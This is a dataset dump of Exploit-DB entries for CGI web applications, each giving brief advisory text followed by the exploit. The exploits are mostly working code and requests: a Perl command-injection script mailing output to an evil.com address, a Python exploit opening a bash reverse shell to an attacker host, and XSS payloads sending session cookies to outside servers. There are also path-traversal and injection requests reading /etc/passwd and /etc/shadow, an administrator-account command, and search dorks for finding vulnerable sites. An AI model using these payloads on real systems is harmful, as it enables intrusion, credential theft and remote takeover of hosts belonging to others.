deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30199
Description: WebIf - 'OutConfig' Local File Inclusion
Type: webapps
Platform: cgi
Date: 2007-06-18
Author: maiosyet

Exploit:
source: https://www.securityfocus.com/bid/24516/info

WebIf is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts. 

http://www.example.com/webif/webif.cgi?cmd=query&config=conf_2000/config.txt&outconfig=../../../../etc/issue
Exploit-DB #24574
Description: Webmin 1.x - HTML Email Command Execution
Type: webapps
Platform: cgi
Date: 2004-09-07
Author: Keigo Yamazaki

Exploit:
source: https://www.securityfocus.com/bid/11122/info

Webmin / Usermin are reportedly affected by a command execution vulnerability when rendering HTML email messages. This issue is due to a failure to sanitize HTML email messages and may allow an attacker to execute arbitrary commands on a vulnerable computer.

This issue is reported to affect Usermin versions 1.080 and prior.

<iframe src='/shell/index.cgi?cmd=cat+%2Fetc%2Fpasswd&[CREDENTIAL_REDACTED]
ictim&history=' height=0 width=0></iframe>
Exploit-DB #21567
Description: WebScripts WebBBS 4.x/5.0 - Remote Command Execution
Type: webapps
Platform: cgi
Date: 2002-06-06
Author: NERF Security

Exploit:
source: https://www.securityfocus.com/bid/5048/info

WebBBS does not sufficiently filter shell metacharacters from CGI parameters. As a result, remote attackers may execute arbitrary commands on the underlying shell of the system hosting the vulnerable software.

Remote attackers may gain local, interactive access to the host with the privileges of the webserver process as a result of successful exploitation.

#!/usr/bin/perl
#
#  nerF gr0up
#
#  exploit code for
#  WebBBS by Darryl C. Burgdorf
#  all version up to 5.00 are vulnerable
#
#
#  this is an exploitation of "followup" bug.
#  it allows remote attacker to execute shell
commands.
#  you can find WebBBS script at
http://awsd.com/scripts/webbbs/
#
#  06.06.2002
#  btr // nerf
# nerf.ru

use IO::Socket;

        srand();
        $script = "/cgi-bin/webbbs/webbbs_config.pl";
        $command = "uname -a|mail zlo@evil.com";
        $host = "localhost";
        $port = 80;

        $content = "$content" . "name=" . rand(254);
        $content = "$content" . "&email=" . rand(254);
        $content = "$content" . "&subject=" .
rand(254);
        $content = "$content" . "&body=" . rand(254);

$content="$content"."&followup=".rand(254)."|$command|";

        $content_length = length($content);
        $content_type =
"application/x-www-form-urlencoded";

        if (@ARGV[0]) {$command=@ARGV[0];}
        if (@ARGV[1]) {$host=@ARGV[1];}
        if (@ARGV[2]) {$script=@ARGV[2];}

        $buf = "POST " . "$script" . "?post
HTTP/1.0\n";
        $buf = "$buf" . "Content-Type:
$content_type\r\nContent-Length:";
        $buf = "$buf" .
"$content_length\r\n\r\n$content", 0;

        print "\tnerF gr0up\n";
        print "exploit: WebBBS (awsd.com), version up
to 5.00\n";

        print "sent:\n$buf\n";

if($socket = IO::Socket::INET->new("$host:$port")){

        print $socket "$buf";
        read($socket,$buf,1500);
        print "recieved:\n$buf\n";
}
Exploit-DB #36457
Description: Websense 7.6 - Triton Report Management Interface Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2011-12-15
Author: Ben Williams

Exploit:
source: https://www.securityfocus.com/bid/51085/info

Websense Triton is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects the following applications:

Websense Web Security Gateway Anywhere v7.6
Websense Web Security Gateway v7.6
Websense Web Security v7.6
Websense Web Filter v7.6 

https://www.example.com/explorer_wse/detail.exe?c=cat&cat=153&anon=&startDate=2011-10-22&endDate=2011-10-22&session=a434cf98f3a402478599a71495a4a71e&dTitle=Internet_use_by_Category"><script>alert(document.cookie)</script>&section=1&uid=&col=1&cor=1&explorer=1&fork=1&puid=7360

Send the current session-cookies to a credentials-collection server:

https://www.example.com/explorer_wse/detail.exe?c=cat&cat=153&anon=&startDate=2011-10-22&endDate=2011-10-22&session=a434cf98f3a402478599a71495a4a71e&dTitle=Internet_use_by_Category"><script>document.location=unescape("http://192.168.1.64/"%2bencodeURIComponent(document.cookie))</script>&section=1&uid=&col=1&cor=1&explorer=1&fork=1&puid=7360
Exploit-DB #36459
Description: Websense 7.6 Products - 'favorites.exe' Authentication Bypass
Type: webapps
Platform: cgi
Date: 2011-12-15
Author: Ben Williams

Exploit:
source: https://www.securityfocus.com/bid/51087/info

Multiple Websense products are prone to an authentication-bypass vulnerability.

Remote attackers can exploit this issue to bypass the authentication mechanism and gain unauthorized access.

The following Websense products are affected:

Websense Web Security Gateway Anywhere 7.6
Websense Web Security Gateway 7.6
Websense Web Security 7.6
Websense Web Filter 7.6 

https://www.example.com/explorer_wse/favorites.exe?startDate=2011-10-22&endDate=2011-10-23&action=def
Exploit-DB #36458
Description: Websense 7.6 Triton - 'ws_irpt.exe' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2011-12-15
Author: Ben Williams

Exploit:
source: https://www.securityfocus.com/bid/51086/info

Websense Triton is prone to a remote command-execution vulnerability.

An attacker can exploit this issue to execute arbitrary commands with SYSTEM-level privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. 

https://www.example.com/explorer_wse/ws_irpt.exe?&SendFile=echo.pdf%26net user administrator blah|
Exploit-DB #31466
Description: Webutil 2.3/2.7 - 'webutil.pl' Multiple Remote Command Execution Vulnerabilities
Type: webapps
Platform: cgi
Date: 2008-03-21
Author: Zero X

Exploit:
source: https://www.securityfocus.com/bid/28393/info

Webutil is prone to multiple vulnerabilities that attackers can leverage to execute arbitrary commands. These issues occur because the application fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected application and possibly the underlying computer.

These issues affect Webutil 2.3 and 2.7. 

http://www.example.com/cgi-bin/webutil.pl?details&|cat$IFS/etc/passwd
http://www.example.com/cgi-bin/webutil.pl?dig&|cat$IFS/etc/passwd
http://www.example.com/cgi-bin/webutil.pl?whois&|cat$IFS/etc/passwd
Exploit-DB #25350
Description: WebWasher CSM 4.4.1 Build 752 Conf Script - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-04-06
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/13037/info

It is reported that the WebWasher 'conf' script is prone to a cross-site scripting vulnerability.

A remote attacker may exploit this issue to have arbitrary script and HTML code executed in the browser of a target user. Code execution would occur in the context of the vulnerable Website. Because of this, malicious script code may access authentication cookies and other data that are associated with the domain.

WebWasher CSM 4.4.1 (Build 752) is reported prone to this issue, other versions might also be affected. 

http://www.example.com:9090/conf?navTo1=Rep&navTo2=Dean"><script>alert("Welcome%20to%20Webwasher");alert("Script%20Code%20will%20be%20executed")</script>on&userId=default&foo
=1549218
Exploit-DB #32430
Description: WhoDomLite 1.1.3 - 'wholite.cgi' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2008-09-27
Author: Ghost Hacker

Exploit:
source: https://www.securityfocus.com/bid/31436/info

WhoDomLite is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

WhoDomLite 1.1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/wholite.cgi?dom= xss_code &tld=com&action=search
Exploit-DB #25051
Description: Wirtualna Polska WPKontakt 3.0.1 - Remote Script Execution
Type: webapps
Platform: cgi
Date: 2004-12-23
Author: Poznan Supercomputing

Exploit:
source: https://www.securityfocus.com/bid/12097/info

WPKontakt is reported prone to a potential script execution vulnerability. It is reported that this issue may allow remote attackers to execute arbitrary script code on a vulnerable computer, which may lead to various attacks. Arbitrary script code may be executed on a target system in the event that a specially message containing a specially malformed email address containing a JavaScript URI is received. 

test@"style="background-image:url(javascript:alert(%22You%20are%20owned!%22>))".wp.pl
Exploit-DB #40462
Description: Witbe - Remote Code Execution
Type: webapps
Platform: cgi
Date: 2016-10-05
Author: BeLmar

Exploit:
#!/usr/bin/python
# Exploit Title: Witbe RCE (Remote Code Execution)
# Exploit Author: BeLmar
# Date: 05/10/2016
# DEMO : https://youtu.be/ooUFXfUfIs0
# Contact : hb.mz093@gmail.com
# Vendor Homepage: http://www.witbe.net
# Tested on: Windows7/10 & BackBox
# Category: Remote Exploits

import urllib
import urllib2
import os

print " M    MW    M  M  XXMMrX, 2Mr72S   MW7XS"                             
print " MM   MM   M2  M    SM    MM   MM  M    "                             
print "  M  M ZM  M   M    XM    MMir0M   MMrXS"                              
print "  MM M  M M:   M    SM    MM   ZM  M2   "                             
print "   MMa  MMM    M    ZM    MM   XM  M    "                              
print "   XM    M     M    iM    8MZ8W8   MM8BB" 
print "             EXPLOIT BY BELMAR          "
print ""

print "Run NetCat Listner" # First Run Netcat Listner 

rhost = raw_input('RHOST: ')
lhost = raw_input('LHOST: ')
lport = raw_input('LPORT: ')

url = 'http://'+rhost+'/cgi-bin/applyConfig.pl'
user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36'
values = {'auth_login': '', #Leave it as it is
          'auth_pwd': '',   #Leave it as it is
          'file': 'set|bash -i >& /dev/tcp/'+lhost+'/'+lport+' 0>&1' }

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
the_page = response.read()
Exploit-DB #22337
Description: Wordit Logbook 098b3 - Logbook.pl Remote Command Execution
Type: webapps
Platform: cgi
Date: 2003-03-07
Author: Aleksey Sintsov

Exploit:
source: https://www.securityfocus.com/bid/7043/info

A remote command execution vulnerability has been discovered in the Wordit Logbook application. This issue occurs due to insufficient sanitization of externally supplied data to the 'logbook.pl' script.

A remote attacker may exploit this condition to gain local, interactive access to the underlying host.

This vulnerability was reported to affect Wordit Logbook version 098b3 previous versions may also be affected.

www.example.com/logbook.pl?file=../../../../../../../bin/cat%20logbook.pl%00|
Exploit-DB #22045
Description: Working Resources BadBlue 1.7.1 - Search Page Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2002-11-25
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/6253/info

The ext.dll ISAPI does not sufficiently sanitize user-supplied input when processing search queries. This may allow an attacker to create a custom URL containing script code that, when viewed in a browser by a legitimate user, will result in the execution of the script code. 

');alert(document.cookie);//
')" style="left:expression(eval('alert(document.cookie)'))">
Exploit-DB #3065
Description: WWWBoard 2.0 - 'passwd.txt' Remote Password Disclosure
Type: webapps
Platform: cgi
Date: 2007-01-01
Author: bd0rk

Exploit:
            WWWBoard 2.0 Alpha 2 (passwd.txt) Password Disclosure Vulnerability



Affected Software: WWWBoard 2.0 Alpha

Download: http://www.scriptarchive.com/wwwboard.html

Bugfounder: bd0rk

Contact: bd0rk[at]hackermail.com

Greetz: str0ke, Döner, TheJT, x0r_32

[+]Exploit: http://[target]/[www_board_path]/passwd.txt

# milw0rm.com [2007-01-01]
Exploit-DB #4529
Description: WWWISIS 7.1 - 'IsisScript' Local File Disclosure / Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2007-10-13
Author: JosS

Exploit:
# WWWISIS (Search) Multiple Vulnerabilities
# Download:
# http://bvsmodelo.bvsalud.org/php/level.php?lang=en&component=31&item=2
# Bug found by JosS
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team
# www.spanish-hackers.com
# d0rk: powered by WWWISIS
#Stop lammer


# Local File Disclosure Vulnerability:

http://server/cgi-bin/wxis.exe/iah/?IsisScript=[file]
http://server/cgi-bin/wxis.exe/iah/?IsisScript=../../../../../../../../../etc/passwd


# Exploit In (XSS):

http://server/cgi-bin/wxis.exe/iah/?IsisScript=iah/iah.xis&base=article%5Edlibrary&fmt=iso.pft&lang=i
http://server/cgi-bin/wxis.exe/iah/?IsisScript=iah/iah.xis&base=article%5Edlibrary&fmt=iso.pft&lang=e
....

[ i,e ... ] it is the language of script

# Cross Siting Scripting:

<script>alert(document.cookie)</script>


//---------------------------------------\\

Greetz To: All Hackers
JosS!

# milw0rm.com [2007-10-13]
Exploit-DB #35085
Description: WWWThread 5.0.8 Pro - 'showflat.pl' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2010-12-09
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45303/info

WWWThread is prone to a cross-site-scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

WWWThread 5.0.8 Pro is vulnerable; other versions may also be affected. 

http://www.example.com/cgi-bin/forum/showflat.pl?Cat=&Board=forum&Number=111&page=0&view="<XSS>expanded&sb=1&part=all&vc=1
Exploit-DB #39145
Description: Xangati XSR / XNR - 'gui_input_test.pl' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2014-04-14
Author: Jan Kadijk

Exploit:
source: https://www.securityfocus.com/bid/66819/info

Xangati XSR And XNR are prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary commands in the context of the affected application.

Xangati XSR prior to 11 and XNR prior to 7 are vulnerable.

curl -i -s -k  -X 'POST' \
-H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Java/1.7.0_25' \
--data-binary $'key=validkey&falconConfig=validateTest&path=%2Fvar%2Ftmp%2F&params=gui_input_test.pl&params=-p+localhost;CMD%3d$\'cat\\x20/etc/shadow\';$CMD;+YES' \
'hxxps://www.example.com/servlet/Installer'
Exploit-DB #27691
Description: xFlow 5.46.11 - 'index.cgi' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2006-04-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17614/info
 
xFlow is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
Successfully exploiting these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
xFlow version 5.46.11 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/members_only/index.cgi?id=[SQL]&username=r0t&seed=TfgNxKhyqEELQQQKizBWyVShdbOpfugMaQhpuGqI
http://www.example.com/members_only/index.cgi?id=4&username=r0t&seed=rjzzBzfrMplgqQMojRgrnALJMoiUeAdlxswNQvbo&action=view_downline&level=[XSS]&position=10
http://www.example.com/members_only/index.cgi?id=4&username=r0t&seed=rjzzBzfrMplgqQMojRgrnALJMoiUeAdlxswNQvbo&action=view_downline&level=Direct&position=1[XSS]
http://www.example.com/members_only/index.cgi?id=[XSS]&username=r0t&seed=TfgNxKhyqEELQQQKizBWyVShdbOpfugMaQhpuGqI
http://www.example.com/members_only/index.cgi?id=4&username=r0t&seed=rjzzBzfrMplgqQMojRgrnALJMoiUeAdlxswNQvbo&action=[XSS]&level=&position=10
http://www.example.com/customer_area/index.cgi?id=1&username=r0t&seed=pWltDqcPcLuedZnXTwCNWldbpJmQANHFHfFvveFY&page=[XSS]
Exploit-DB #27690
Description: xFlow 5.46.11 - 'index.cgi' Multiple SQL Injections
Type: webapps
Platform: cgi
Date: 2006-04-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17614/info

xFlow is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successfully exploiting these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

xFlow version 5.46.11 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/members_only/index.cgi?id=4&username=r0t&seed=rjzzBzfrMplgqQMojRgrnALJMoiUeAdlxswNQvbo&action=view_downline&level=Direct&position=1[SQL]
Exploit-DB #21573
Description: YaBB 1 - Invalid Topic Error Page Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2002-06-21
Author: methodic

Exploit:
source: https://www.securityfocus.com/bid/5078/info

It is reported possible for attackers to construct a URL that will cause scripting code to be embedded in error pages.

YaBB fails to check URLs for the presence of script commands when generating error pages, allowing attacker supplied code to execute. If such a URL is sent to a YaBB user, upon accessing the link, the attacker-supplied code will run in the context of the site running the vulnerable software.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of YaBB. 

http://some.site.com/cgi-bin/YaBB/YaBB.cgi?board=BOARD&action=display&num=<script>alert()</script>
Exploit-DB #22052
Description: YaBB 1 Gold SP 1 - 'YaBB.pl' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2002-11-28
Author: Fabricio Angeletti

Exploit:
source: https://www.securityfocus.com/bid/6272/info

A cross-site scripting vulnerability has been reported in the YaBB forum. This vulnerability is due to insufficient sanitization of URI parameters in some scripts.

As a result, it is possible for a remote attacker to create a malicious link to the login page of a site hosting the web forum. When this link is visited by an unsuspecting web user, the attacker-supplied code will be executed in their browser in the security context of the vulnerable website.

It has been demonstrated that this vulnerability may be exploited to steal cookie-based authentication credentials.

http://www.area51experience.com.ar/foro/YaBB.pl?board=gral;action=display;
num=[PII_REDACTED]<Script>location%3d'Http://url/x.php?Cookie%3d'
%2b(document.cookie)%3b</Script>
Exploit-DB #24612
Description: YaBB 1.x/9.1.2000 - 'YaBB.pl IMSend' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-09-17
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/11215/info

A cross-site scripting vulnerability is reported in the YaBB forum 'YaBB.pl' script.

As a result, it is possible for a remote attacker to create a malicious link to the affected page of a site hosting the web forum. The malicious link may contain arbitrary HTML and JavaScript code in URI parameters. When this link is visited by an unsuspecting web user, the attacker-supplied code will be executed in their browser in the security context of the vulnerable website.

http://www.example.com/YaBB.pl?board=;action=imsend;to=%22%3E%3Cscript%3Ealert(document
.cookie)%3C/script%3E
Exploit-DB #24611
Description: YaBB 1.x/9.1.2000 - Administrator Command Execution
Type: webapps
Platform: cgi
Date: 2004-09-17
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/11214/info

It is reported that YaBB is affected by an administrator command execution vulnerability. This issue is due to a failure of the application to properly validate access to administrative commands.

This issue permits a remote attacker to create a malicious URI link or embed a malicious URI between IMG tags, which includes hostile YaBB administrative commands. If an unsuspecting forum administrator views a post that contains this IMG tag, they will inadvertently activate the malicious URI, the attacker-supplied command is carried out with the administrator's privileges.

<img>http://www.example.com/YaBB.pl?board=;action=modifycat;id=CATEGORYNAMEHERE;moda=Remove2</img>
Exploit-DB #21208
Description: YaBB 9.1.2000 - Cross-Agent Scripting
Type: webapps
Platform: cgi
Date: 2002-01-09
Author: Obscure

Exploit:
source: https://www.securityfocus.com/bid/3828/info

YaBB (Yet Another Bulletin Board) is freely available web forums/community software that is written in Perl. YaBB will run on most Unix/Linux variants, MacOS, and Microsoft Windows 9x/ME/NT/2000/XP platforms.

YaBB is prone to cross-agent scripting attacks via the insertion of HTML tags into image links in messages. Due to insufficient input validation, it is possible to insert arbitrary script code in forum messages/replies. The malicious script code will be executed in the browser of the user viewing the message, in the context of the site running YaBB.

This makes it possible for a malicious user to post a message which is capable of stealing another legitimate user's cookie-based authentication credentials.

[img]javascr&#x69;pt:document.write
('&#x3cimg
src=&#x68;tt&#x70;://attackerssite/tools/cookie.plx?cookie='+escape(docu
ment.cookie)+'&#x3e')
[/img]
Exploit-DB #4261
Description: YNP Portal System 2.2.0 - 'showpage.cgi p' Remote File Disclosure
Type: webapps
Platform: cgi
Date: 2007-08-06
Author: GoLd_M

Exploit:
#################################################################################
# YNP Portal System 2.2.0 (showpage.cgi p) Remote File Disclosure Vulnerability #
# D0RK : inurl:"showpage.cgi?p=popsearch.html"                               #
#      : inurl:"showpage.cgi?p=support.html"                                 #
#      : inurl:"showpage.cgi?p=dialup.html"                                  #
#      : inurl:"showpage.cgi?p="                                             #
# POC: http://xxxx.com/showpage.cgi?p=../../../../../../etc/passwd           #
# Discovered by: GolD_M = [Mahmood_ali]                                      #
# Thanx To : Tryag-Team & Asbmay's Group & bd0rk & Cold Zero & All My Friends   #
#################################################################################

# milw0rm.com [2007-08-06]